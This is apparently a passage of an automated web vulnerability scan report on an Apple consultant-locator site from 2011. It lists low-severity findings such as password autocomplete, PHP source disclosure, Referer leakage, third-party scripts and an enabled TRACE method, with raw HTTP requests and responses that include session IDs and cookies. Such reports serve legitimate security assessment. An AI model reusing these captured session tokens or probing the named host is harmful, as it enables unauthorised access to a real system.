ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:23:52 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 53263

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
5. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://consultants-locator.apple.com
Path:   /webmail/src/login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /webmail/src/login.php HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310698467867'%5D%2C%5B'OAS-US-DOMAINS-mac.com'%2C'1310703720371'%5D%2C%5B'oas-us-domains-mac.com'%2C'1310703744694'%5D%2C%5B'www.fakereferrerdominator.com'%2C'1310752608818'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D2%3Bch%3Ddeveloper%26vn%3D3%3Bch%3Dbuy%26vn%3D2%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3Bch%3Dcontact%26vn%3D1%3Bch%3Deducation%26vn%3D2%3Bch%3Dmyappleid.iforgot%26vn%3D2%3Bch%3Dmac%26vn%3D1%3Bch%3Dmacosx%26vn%3D2%3Bch%3Djobs%26vn%3D1%3Bch%3Dretailstore%26vn%3D1%3Bch%3Dtrailers%26vn%3D1%3Bch%3Dipod%26vn%3D1%3Bch%3Ditunes%26vn%3D1%3Bch%3Dmyappleid%26vn%3D1%3Bch%3Dali%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; __utma=154752810.1794820674.1310696627.1310696627.1310758095.2; __utmz=154752810.1310758095.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; s_membership=1%3Aaid; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=%5B%5BB%5D%5D; s_orientationHeight=652; ccl=Sik/e2L4lZvfbdz7IuiJSX/x3IrxAEgCyuFguN1GzU+U7R6R/nYLmAjFIaPoY62MMsYsijUHMhziF/gOupEMZ0J0A9bbHtS/zCGSiEOo0TiJla0fqrwY4o4wnwvbEqZY+x0crnytPl6QJiGTn8WoHHYBk6Pg3B4H69jPn/crCqvtB5vIpoX3TnvyA5mEOi4jcjivP9Fpy1pQoa/O4F6jbiTZAqP0u/Dk+FhQ2lkdqsAZVlfchc/wJ2/og/M5ngACgFRgmGTfKqA1Wt4k5cfdoPQRGK7kkJY20932xUa98yR8sd2/56npY3QGG9qy+A4zfF1+dYHHne6vnE4rZ7DNhjbjEueQmK6l6XLhn/UcaNNwVaXtuW8RubzKEgTmcGeMlCjczGJgFQhtpc1xK525UytNBO+uGyz1QHDYW57+mOmp9buEwyUowix4ju1mQGn254y14YWve0ekRN6C9iY1/pjwb12q8qSgTxbB5ENue5YRwp9cKuAG34CPPaExR7UD1NOnWa7P6DdhXtEpr/wgeKafe3B+9ngICaX/KX0VOhqK4jpllUn/sOlqqSomjjj1; geo=US; PHPSESSID=14fc9957bba70460c46926ac4c2ab0d4; __utmb=154752810.2.10.1310758095; __utmc=154752810

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:29:11 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SQMSESSID=7b6b6d802df9edd6041a34302cd0885a; path=/webmail/; HttpOnly
Set-Cookie: SQMSESSID=7b6b6d802df9edd6041a34302cd0885a; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/webmail/; HttpOnly
Set-Cookie: SQMSESSID=7b6b6d802df9edd6041a34302cd0885a; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/webmail/src/; HttpOnly
Content-Length: 2159
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<meta name="robots" content="noindex,nofollow">

<title>SquirrelMail - Login</title><script language="JavaScript" type="
...[SNIP]...
<body text="#000000" bgcolor="#ffffff" link="#0000cc" vlink="#0000cc" alink="#0000cc" onLoad="squirrelmail_loginpage_onload();">
<form action="redirect.php" method="post" >
<table bgcolor="#ffffff" border="0" cellspacing="0" cellpadding="0" width="100%">
...[SNIP]...
<td align="left" width="*"><input type="password" name="secretkey" />
<input type="hidden" name="js_autodetect_results" value="0" />
...[SNIP]...
6. Source code disclosure  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /javascript/portal.1309219793.js

Issue detail

The application appears to disclose some server-side source code written in PHP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /javascript/portal.1309219793.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:37 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:37 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 66986
Connection: close
Content-Type: text/html;charset=UTF-8

// portal.js
var loadedjs = false;
var preloadFlag = true;

function changeImages() {
if (loadedjs && preloadFlag)
{
for (var i=0; i<changeImages.arguments.length; i+=2)
{

...[SNIP]...
element.className = existingClassNames[cn];
}
}
}
return true;
}
return false;
}

/*
function hiliteMissingFields( formName, requiredFields)
{
fieldString = '<? if($layout['missing_fields']){ echo implode(",", $layout['missing_fields']); } ?>';
if(requiredFields && fieldString){
fieldString = fieldString+","+requiredFields;
} else {
fieldString = requiredFields;
}
var myRequiredFields = fieldString.split(",");;

...[SNIP]...
7. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /index.php?fuseaction=home.detail&companyID=520&offset=0&rppg=8&q=10010&cf= HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.4.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:24:07 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20736

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<div id="container" class="floatcontainer">


<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
...[SNIP]...
<br />
               <a href="http://www.nycmacguru.com" target="partner">http://www.nycmacguru.com</a>
...[SNIP]...
</div>
<script type="text/javascript"
src="http://apple.ugc.bazaarvoice.com/static/1029/bvapi.js">
</script>
...[SNIP]...
8. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:23:52 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 53263

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<div id="container" class="floatcontainer">


<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
...[SNIP]...
</script>

<script type="text/javascript"
src="http://apple.ugc.bazaarvoice.com/static/1029/bvapi.js">
</script>
...[SNIP]...
9. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://consultants-locator.apple.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: consultants-locator.apple.com
Cookie: 7d230dfde5b59e6f

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:23:43 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: consultants-locator.apple.com
Cookie: 7d230dfde5b59e6f; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; geo=US; ccl=p7NKCnNizOBPByMB4x05+VK
...[SNIP]...
10. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/accordionview.js

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /javascript/yui/accordionview.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010
